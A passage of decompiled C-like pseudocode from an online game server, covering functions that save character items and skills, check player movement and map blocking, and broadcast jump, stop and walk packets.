*)(v5 + 5), 15, &from, 8000); if ( v19 < 0 ) break; if ( from >= bufd ) *(_BYTE *)(v5 + 2) |= 0x80u; v20 = v19 + 7; *(_BYTE *)(v5 + 2) ^= (*(_BYTE *)(v5 + 2) ^ (*(_BYTE *)(v5 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v19 + 7) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v23); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v20); } if ( from >= bufd ) { --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 1; } } v24 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."); DebugLogging::operator<<(v24, &deb_LF); (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(*(_DWORD *)v28 + 1464))(1676, 0, 0); LABEL_39: --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } //----- (0043D190) -------------------------------------------------------- void __thiscall WholeSaver::WholeSaver(WholeSaver *this) { WholeSaver *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 int v4; // edi@2 int v5; // edi@2 v1 = this; this->ws_savestorepoint.mask = 2047; this->ws_savestorepoint.value = 0; _eh_vector_constructor_iterator_( this->ws_savestore, 0x13520u, 2048, (void (__thiscall *)(void *))EventSaveCheck::EventSaveCheck, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555112)) = (unsigned int)&EventSaveCheck::_vftable_; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555151)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555147)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555143)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555175)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555171)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153555167)) = 0; *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153586232)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 153555224)); *(unsigned int *)((char *)&v1->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 153634244)) = (unsigned int)((char *)v1 + (_DWORD)((char *)&wholesaver + 153586236)); v2 = (int)&v1->ws_savestore[0].esc_abstate.pnt; v3 = 2048; do { v4 = *(_DWORD *)v2; *(_DWORD *)(v2 - 31114) = -1; *(_DWORD *)(v4 + 2) = -1; v5 = *(_DWORD *)(v2 + 48012); v2 += 79136; --v3; *(_DWORD *)(v5 + 2) = -1; } while ( v3 ); } // 5ACB40: using guessed type int (*EventSaveCheck___vftable_)(); //----- (0043D240) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck) { CharaterSkillList *v3; // ebp@1 int v4; // edi@1 PROTO_NC_CHARSAVE_SKILL_REQ *v5; // esi@1 unsigned int v6; // eax@2 CharaterSkillList::CharSkill *v7; // ecx@3 unsigned int v8; // ebx@6 DebugLogging *v9; // eax@8 _iobuf *v10; // eax@10 int v11; // eax@12 int v12; // eax@12 int v13; // eax@12 DebugLogging *v14; // [sp+0h] [bp-18h]@8 int cur; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v17; // [sp+14h] [bp-4h]@1 int bufa; // [sp+1Ch] [bp+4h]@1 v3 = this; _.fe_FunctionCode = "CharaterSkillList::csl_FillSaveBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_FillSaveBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v17 = 0; mysecond(&cur); v5 = buf; buf->number = 0; bufa = 0; if ( v3->csl_SkillNumber > 0 ) { v6 = clockwatch.cw_CurrTick; while ( 1 ) { v7 = v3->csl_Skill._Myfirst; if ( v7[v4].cs_EndOfCooltime > v6 ) break; if ( v7[v4].cs_bSave || SkillSaveCheck != 1 ) { v8 = 0; v7[v4].cs_bSave = 0; LABEL_12: *(_DWORD *)&v5[2 * v5->number + 1].handle.bufferlocation = cur; HIWORD(v5[2 * v5->number + 1].handle.chrregnum) = v3->csl_Skill._Myfirst[v4].cs_SkillId; *(_DWORD *)&v5[2 * v5->number + 1].number = v8; v11 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ LOBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v12 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v12 = *(_BYTE *)v12 & 0xF | 16 * ((unsigned int)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 4); BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^= (BYTE1(v5[2 * v5->number + 2].handle.chrregnum) ^ HIBYTE(v3->csl_Skill._Myfirst[v4].cs_Empower._bf0)) & 0xF; v13 = (int)((char *)&v5[2 * v5->number + 2].handle.chrregnum + 1); *(_BYTE *)v13 = *(_BYTE *)v13 & 0xF | 16 * ((unsigned __int16)v3->csl_Skill._Myfirst[v4].cs_Empower._bf0 >> 12); *(unsigned int *)((char *)&v5[2 * v5->number++ + 2].handle.chrregnum + 2) = v3->csl_Skill._Myfirst[v4].cs_Mastery; if ( 16 * (unsigned int)v5->number + 24 > 0x1F40 ) goto LABEL_15; v6 = clockwatch.cw_CurrTick; } ++v4; ++bufa; if ( bufa >= v3->csl_SkillNumber ) goto LABEL_15; } v8 = (v7[v4].cs_EndOfCooltime - v6) / 0xA; v7[v4].cs_bSave = 1; if ( (signed int)v8 > 10800 ) { v9 = DebugLogging::operator<<(&SkillCoolTimeLog, "CharaterSkillList::csl_FillSaveBuffer : Too long cooltime "); v14 = v9; if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v14->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } } goto LABEL_12; } LABEL_15: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0043D480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck) { void *v3; // esi@1 unsigned __int16 v4; // ax@1 int v5; // esi@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_FillSaveBuffer( (CharaterSkillList *)v3 + 3411, (PROTO_NC_CHARSAVE_SKILL_REQ *)buffer, SkillSaveCheck); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 16 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveSkill"); return v5; } //----- (0043D540) -------------------------------------------------------- char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this) { char result; // al@2 if ( this->mm_fullTime_ms ) result = this->mm_state == 3; else result = 0; return result; } //----- (0043D560) -------------------------------------------------------- void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape) { if ( !this->bib_Backuped ) { memcpy(this, shape, 0x2Fu); this->bib_Backuped = 1; } } //----- (0043D590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet) { int v3; // ecx@1 int result; // eax@1 *(_WORD *)(this + 102) = command; v3 = this + 104; *(_DWORD *)v3 = *(_DWORD *)packet; *(_DWORD *)(v3 + 4) = *(_DWORD *)(packet + 4); *(_DWORD *)(v3 + 8) = *(_DWORD *)(packet + 8); *(_DWORD *)(v3 + 12) = *(_DWORD *)(packet + 12); result = *(_DWORD *)(packet + 16); *(_DWORD *)(v3 + 16) = result; *(_WORD *)(v3 + 20) = *(_WORD *)(packet + 20); return result; } //----- (0043D5D0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to) { char v2; // al@1 int v3; // edi@1 bool v4; // zf@1 v2 = MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)(this + 98) + 20), *(_DWORD *)to, *(_DWORD *)(to + 4), 1); v3 = (unsigned __int8)v2; v4 = v2 == 0; if ( !v2 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", *(_DWORD *)to, *(_DWORD *)(to + 4)); v4 = v3 == 0; } return !v4; } //----- (0043D620) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from) { int v2; // ecx@1 int v3; // eax@1 int v4; // ecx@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(from + 4); return (unsigned int)((v3 - *(_DWORD *)from) * (v3 - *(_DWORD *)from) + v4 * v4) <= 0x9C40; } //----- (0043D650) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock) { unsigned int v4; // ebp@1 void *v5; // esi@1 int v6; // ecx@1 int v7; // eax@1 int v8; // edi@1 int v9; // edx@1 int v10; // ecx@3 int v11; // eax@3 int v12; // ebx@4 unsigned int v13; // edi@6 unsigned int v14; // edi@13 int v16; // eax@23 int v17; // ecx@23 int v18; // ebx@24 unsigned int v19; // edi@26 float v20; // [sp+10h] [bp-14h]@5 float v21; // [sp+10h] [bp-14h]@25 int nToY; // [sp+14h] [bp-10h]@1 unsigned int nToYa; // [sp+14h] [bp-10h]@5 unsigned int nToX; // [sp+18h] [bp-Ch]@1 unsigned int nToXa; // [sp+18h] [bp-Ch]@25 float v26; // [sp+1Ch] [bp-8h]@5 float v27; // [sp+1Ch] [bp-8h]@25 int pFroma; // [sp+28h] [bp+4h]@4 int pFromb; // [sp+28h] [bp+4h]@24 float nBlockCnta; // [sp+2Ch] [bp+8h]@5 float nBlockCntb; // [sp+2Ch] [bp+8h]@25 v4 = *(_DWORD *)nBlockCnt; v5 = this; v6 = *(_DWORD *)pFrom; v7 = *(_DWORD *)(pFrom + 4); v8 = *(_DWORD *)(pFrom + 4) - *(_DWORD *)(nBlockCnt + 4); nToY = *(_DWORD *)(nBlockCnt + 4); v9 = *(_DWORD *)(nBlockCnt + 4); nToX = *(_DWORD *)nBlockCnt; if ( (v6 - v4) * (v6 - v4) > v8 * v8 ) { if ( v6 > v4 ) { v10 = v4 ^ v6; v4 ^= v10; v11 = nToY ^ v7; v9 = v11 ^ nToY; v6 = v4 ^ v10; nToX = v4; v7 = v11 ^ nToY ^ v11; } v12 = v6 + 1; pFroma = 0; if ( v6 + 1 < v4 ) { nBlockCnta = (double)(unsigned int)v7; v20 = (double)(unsigned int)v6; nToYa = v6 - 9; v26 = ((double)(unsigned int)v9 - nBlockCnta) / ((double)v4 - v20); while ( 1 ) { v13 = (unsigned __int64)(((double)(unsigned int)v12 - v20) * v26 + nBlockCnta); if ( MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13, 1) ) goto LABEL_16; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v12, v13); if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa + 20, v13) ) break; } if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), nToYa, v13) ) break; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) && !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v13 + 10) ) break; v14 = v13 - 10; if ( !MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) { if ( !MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v12, v14) ) break; } ++pFroma; if ( pFroma >= nMaxBlock ) return 1; v4 = nToX; LABEL_17: ++v12; ++nToYa; if ( v12 >= v4 ) return 0; } v4 = nToX; LABEL_16: pFroma = 0; goto LABEL_17; } return 0; } if ( v7 == nToY ) return 0; if ( v7 > (unsigned int)v9 ) { v16 = nToY ^ v7; v9 = v16 ^ nToY; v17 = v4 ^ v6; v4 ^= v17; v7 = v16 ^ nToY ^ v16; nToY = v9; v6 = v4 ^ v17; } v18 = v7 + 1; pFromb = 0; if ( v7 + 1 >= (unsigned int)v9 ) return 0; v21 = (double)(unsigned int)v6; nBlockCntb = (double)(unsigned int)v7; nToXa = v7 - 9; v27 = ((double)v4 - v21) / ((double)(unsigned int)v9 - nBlockCntb); do { v19 = (unsigned __int64)(((double)(unsigned int)v18 - nBlockCntb) * v27 + v21); if ( !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, v18, 1) && ((AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To : Block", v19, v18), MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 + 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19 - 10, v18)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa + 20)) && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), v19, nToXa)) ) { ++pFromb; if ( pFromb >= nMaxBlock ) return 1; } else { pFromb = 0; } ++v18; ++nToXa; } while ( v18 < (unsigned int)nToY ); return 0; } //----- (0043DA20) -------------------------------------------------------- void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobDistribute::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5ACDA4: using guessed type int (__stdcall *AxialListMobDistribute___vftable_)(int, int, int distancesquar); //----- (0043DA30) -------------------------------------------------------- #error "43DA30: undefined or illegal type '#325' (funcsize=30)" //----- (0043DAA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@4 int v6; // ST04_4@4 int v7; // eax@4 int v8; // eax@4 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@4 int v10; // [sp+30h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_3 & 1) ) { _S4_3 |= 1u; cmc_15.cmc_AllowMode = 70; atexit(_E5_12); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_15.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8229; *((_WORD *)v5 + 1) = handle; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v10) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); v8 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v8 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v8 + 2) = byte_124D2542; LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043DC00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8266; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere"); } //----- (0043DCF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edx@2 int v4; // eax@2 char *v5; // eax@3 int v6; // edx@3 int v7; // ST04_4@3 int v8; // eax@3 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@3 int v10; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 36); v10 = 0; if ( v2 != 3 ) { v3 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; *((_DWORD *)v1 + 36) = 0; v4 = *(_DWORD *)(v3 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v4; *((_DWORD *)v1 + 41) = *(_DWORD *)(v4 + 4); } *((_WORD *)v1 + 51) = 0; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; *((_WORD *)v5 + 1) = *((_WORD *)v1 + 2); v6 = *(_DWORD *)((char *)v1 + 78); *((_DWORD *)v5 + 1) = *(_DWORD *)v6; *((_DWORD *)v5 + 2) = *(_DWORD *)(v6 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v7 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v10) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); } //----- (0043DE40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@9 int v6; // ecx@9 int v7; // eax@9 bool v8; // al@12 int v9; // edx@12 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S6_61 & 1) ) { _S6_61 |= 1u; cmc_16.cmc_AllowMode = 70; atexit(_E7_37); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_16.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } if ( *(_DWORD *)(v4 + 172) && *(_DWORD *)(v4 + 144) == 3 ) goto LABEL_11; v5 = netcmd + 2; MoveManager::mm_Step((MoveManager *)(v4 + 140), 1); v6 = *(_DWORD *)(v4 + 78); v7 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(netcmd + 6); if ( (unsigned int)((*(_DWORD *)v6 - *(_DWORD *)v5) * (*(_DWORD *)v6 - *(_DWORD *)v5) + v7 * v7) > 0x9C40 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2832))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_11: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ"); return; } v8 = ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v5); v9 = *(_DWORD *)v4; if ( v8 ) { (*(void (__thiscall **)(int))(v9 + 2528))(v4); } else { (*(void (__thiscall **)(int))(v9 + 2832))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); } v11 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0043E010) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@9 int v14; // [sp+3Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S8_13 & 1) ) { _S8_13 |= 1u; cmc_17.cmc_AllowMode = 70; atexit(_E9_10); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_17.cmc_AllowMode) || *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8196; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_124D2542; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043E1F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@9 int v14; // [sp+3Ch] [bp-4h]@1 v4 = this; 